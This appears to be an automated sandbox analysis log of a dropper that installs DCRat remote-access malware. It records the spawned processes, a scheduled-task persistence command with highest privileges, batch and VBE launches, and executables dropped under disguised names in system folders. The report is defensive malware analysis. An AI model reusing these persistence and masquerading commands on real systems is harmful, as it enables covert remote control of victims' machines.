Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXHo" /sc MINUTE /mo 11 /tr "'C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /rl HIGHEST /f
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\L5wEVj25hO.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\Program Files\Windows Defender\Offline\cmd.exe "C:\Program Files\Windows Defender\Offline\cmd.exe"
Source: unknown	Process created: C:\Program Files\Windows Defender\Offline\cmd.exe "C:\Program Files\Windows Defender\Offline\cmd.exe"
Source: unknown	Process created: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe "C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe"
Source: unknown	Process created: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe "C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\apppatch\AppPatch64\TextInputHost.exe "C:\Windows\apppatch\AppPatch64\TextInputHost.exe"
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Process created: C:\Users\user\AppData\Local\Temp\5GG.exe "C:\Users\user\AppData\Local\Temp\5GG.exe"
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Process created: C:\Users\user\AppData\Local\Temp\5GG.exe "C:\Users\user\AppData\Local\Temp\5GG.exe"	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Process created: C:\Users\user\AppData\Local\Temp\5GG.exe "C:\Users\user\AppData\Local\Temp\5GG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\MsComponentSvc\iCCQMR7GwXROBsRyIwP9QWJjFoH56nLwwSlxVmAvIip.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\MsComponentSvc\MXgWX4.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\MsComponentSvc\hyperServer.exe "C:\MsComponentSvc/hyperServer.exe"	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\L5wEVj25hO.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\apppatch\AppPatch64\TextInputHost.exe "C:\Windows\apppatch\AppPatch64\TextInputHost.exe"
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"

Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\MsComponentSvc\hyperServer.exe	Directory created: C:\Program Files\Windows Defender\Offline\cmd.exe	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Directory created: C:\Program Files\Windows Defender\Offline\ebf1f9fa8afd6d	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Directory created: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Directory created: C:\Program Files\Internet Explorer\images\27594514469294	Jump to behavior

Source: 1tQ7HC6GOS.exe

Static file information: File size 70169088 > 1048576

Source: 1tQ7HC6GOS.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x42e9400

Source:	Binary string: D:\a\1\s\Win32\Release\regjump.pdb source: 5GG.exe, 00000001.00000003.1692905430.00000145A1928000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Projects\VS2005\ExecutedProgramsList\Release\ExecutedProgramsList.pdb source: 5GG.exe, 00000001.00000003.1671285767.00000145A1928000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1663105785.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.1.dr
Source:	Binary string: C:\Users\Vinay\Projects\simple_launcher\dist\t64.pdb source: 5GG.exe, 00000001.00000002.2885424303.00000145A3230000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1663607693.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.1.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: 5GG.exe, 00000001.00000003.1661201242.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.1.dr
Source:	Binary string: ucrtbase.pdb source: 5GG.exe, 00000029.00000002.2904563335.00007FFDFAC01000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: 5GG.exe, 00000001.00000003.1657465662.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661670498.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661001870.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7..pDb source: hyperServer.exe, 00000006.00000002.1883820866.00007FFD9C380000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662464065.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.1.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662913038.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1663745033.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python310.pdb source: 5GG.exe, 00000029.00000002.2902886199.00007FFDF58D3000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661389955.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Projects\VS2005\USBDeview\Release\USBDeview.pdb source: 7.exe.1.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662613149.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662276814.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: 5GG.exe, 00000001.00000003.1660199691.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2906441005.00007FFE0EB5C000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_asyncio.pdb source: 5GG.exe, 00000001.00000003.1657542577.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2905820397.00007FFE0E137000.00000002.00000001.01000000.00000024.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662833605.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: 5GG.exe, 00000001.00000003.1660199691.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2906441005.00007FFE0EB5C000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661071459.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\select.pdb source: 5GG.exe, 00000001.00000003.1693148519.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2908532876.00007FFE126C3000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661902975.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: 5GG.exe, 00000029.00000002.2898119338.00007FFDF3B9C000.00000002.00000001.01000000.0000002D.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1660864304.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.1.dr
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: 5GG.exe, 00000029.00000002.2904175636.00007FFDFAB15000.00000002.00000001.01000000.00000023.sdmp, libssl-1_1.dll.1.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662754073.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ssl.pdb source: 5GG.exe, 00000029.00000002.2905517661.00007FFE0C0AD000.00000002.00000001.01000000.00000021.sdmp
Source:	Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: 5GG.exe, 00000001.00000003.1657350133.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2908124580.00007FFE11BD1000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662055903.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbUGP source: 5GG.exe, 00000029.00000002.2904563335.00007FFDFAC01000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1663942819.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: DCRatBuild.exe, 00000002.00000003.1664295884.0000000005308000.00000004.00000020.00020000.00000000.sdmp, DCRatBuild.exe, 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmp, DCRatBuild.exe, 00000002.00000003.1663486823.00000000051FF000.00000004.00000020.00020000.00000000.sdmp, DCRatBuild.exe, 00000002.00000000.1656834272.00000000008A3000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_decimal.pdb$$ source: 5GG.exe, 00000029.00000002.2904792091.00007FFE00488000.00000002.00000001.01000000.00000030.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661331204.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: 5GG.exe, 00000001.00000003.1662368240.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: 5GG.exe, 00000029.00000002.2904175636.00007FFDFAB15000.00000002.00000001.01000000.00000023.sdmp, libssl-1_1.dll.1.dr
Source:	Binary string: C:\A\40\b\bin\amd64\_decimal.pdb source: 5GG.exe, 00000029.00000002.2904792091.00007FFE00488000.00000002.00000001.01000000.00000030.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661830558.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.1.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: 5GG.exe, 00000029.00000002.2901362101.00007FFDF549F000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1660928714.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662680229.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ctypes.pdb source: 5GG.exe, 00000029.00000002.2907121423.00007FFE10310000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: 5GG.exe, 00000001.00000003.1661591867.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.1.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1663227820.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: 5GG.exe, 00000001.00000003.1660469872.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2908329848.00007FFE120C3000.00000002.00000001.01000000.00000020.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_overlapped.pdb source: 5GG.exe, 00000001.00000003.1660390103.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2907910760.00007FFE11BB5000.00000002.00000001.01000000.00000025.sdmp, _overlapped.pyd.1.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: 5GG.exe, 00000001.00000003.1661974546.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1n 15 Mar 2022built on: Tue Mar 15 18:32:50 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: 5GG.exe, 00000029.00000002.2901362101.00007FFDF549F000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661752992.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1664160389.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662128427.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662540630.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662197660.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: 5GG.exe, 00000001.00000003.1661267025.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_multiprocessing.pdb source: 5GG.exe, 00000001.00000003.1660313678.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, _multiprocessing.pyd.1.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1663523745.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661519849.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_socket.pdb source: 5GG.exe, 00000001.00000003.1660541962.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2906230821.00007FFE0EB28000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661452425.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_tkinter.pdb source: 5GG.exe, 00000001.00000003.1660762022.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2905308325.00007FFE014C8000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: 5GG.exe, 00000001.00000003.1657649288.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2906688498.00007FFE101DD000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: 5GG.exe, 00000001.00000003.1659336779.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2907707700.00007FFE11506000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662980404.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.1.dr
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: 5GG.exe, 00000029.00000002.2901362101.00007FFDF5521000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1663815692.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\pyexpat.pdb source: 5GG.exe, 00000029.00000002.2906028629.00007FFE0E172000.00000002.00000001.01000000.0000001D.sdmp

Source: VCRUNTIME140.dll.1.dr

Static PE information: 0xEFFF39AD [Sun Aug 4 18:57:49 2097 UTC]

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

File created: C:\MsComponentSvc\__tmp_rar_sfx_access_check_5294421

Jump to behavior

Source: 5GG.exe.0.dr	Static PE information: section name: _RDATA
Source: DCRatBuild.exe.0.dr	Static PE information: section name: .didat
Source: VCRUNTIME140.dll.1.dr	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.1.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.1.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54E5004 push rsp; retf	1_2_00007FF7E54E5005
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0088F640 push ecx; ret	2_2_0088F653
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0088EB78 push eax; ret	2_2_0088EB96
Source: C:\MsComponentSvc\hyperServer.exe	Code function: 6_2_00007FFD9BAD00BD pushad ; iretd	6_2_00007FFD9BAD00C1
Source: C:\MsComponentSvc\hyperServer.exe	Code function: 6_2_00007FFD9BAD54AE push esp; ret	6_2_00007FFD9BAD54B3
Source: C:\MsComponentSvc\hyperServer.exe	Code function: 6_2_00007FFD9BC910AD push ebp; iretd	6_2_00007FFD9BC910B0
Source: C:\MsComponentSvc\hyperServer.exe	Code function: 6_2_00007FFD9C1B7967 push ebx; retf	6_2_00007FFD9C1B796A
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Code function: 28_2_00007FFD9BAA54AE push esp; ret	28_2_00007FFD9BAA54B3
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Code function: 30_2_00007FFD9BAC00BD pushad ; iretd	30_2_00007FFD9BAC00C1
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Code function: 30_2_00007FFD9BAC54AE push esp; ret	30_2_00007FFD9BAC54B3
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Code function: 31_2_00007FFD9BA900BD pushad ; iretd	31_2_00007FFD9BA900C1
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Code function: 31_2_00007FFD9BA954AE push esp; ret	31_2_00007FFD9BA954B3
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9BAF5CEC push ss; iretd	36_2_00007FFD9BAF5CED
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9BAD00BD pushad ; iretd	36_2_00007FFD9BAD00C1
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9BB0C2A7 push ebp; retf	36_2_00007FFD9BB0C2A8
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9BB05585 pushfd ; iretd	36_2_00007FFD9BB05591
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9BB0BD89 pushfd ; iretd	36_2_00007FFD9BB0BD91
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9BB270FD push edx; ret	36_2_00007FFD9BB2710A
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9BB26F51 push edx; ret	36_2_00007FFD9BB26F6A
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9BB26E40 push ecx; ret	36_2_00007FFD9BB26E8A
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9BCD7969 push ebx; retf	36_2_00007FFD9BCD796A
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9C1B7967 push ebx; retf	36_2_00007FFD9C1B796A
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9C1C5F46 pushfd ; iretd	36_2_00007FFD9C1C5F49
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9C1DF0DD pushfd ; iretd	36_2_00007FFD9C1DF0DE
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9C1D815F push ebx; retn 5EE7h	36_2_00007FFD9C1D815A
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9C1DA9CE push ds; retf	36_2_00007FFD9C1DA9CF
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF36379CF push 6FFDC5C3h; iretd	41_2_00007FFDF36379D5
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF3634F9E push 6FFDC5CAh; ret	41_2_00007FFDF3634FA4
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF3637983 push 6FFDC5CAh; ret	41_2_00007FFDF3637989
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF3634640 push 60F5C5F1h; iretd	41_2_00007FFDF3634648
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF3637425 push 60F5C5F1h; iretd	41_2_00007FFDF363742D

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\MsComponentSvc\hyperServer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops executable to a common third party application directory

Source: C:\MsComponentSvc\hyperServer.exe

File written: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe

Jump to behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\cmd.exe

Executable created and started: C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Found pyInstaller with non standard icon

Source: C:\Users\user\AppData\Local\Temp\5GG.exe

Process created: "C:\Users\user\AppData\Local\Temp\5GG.exe"

Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\YwplZyzq.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\VScUyJWO.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
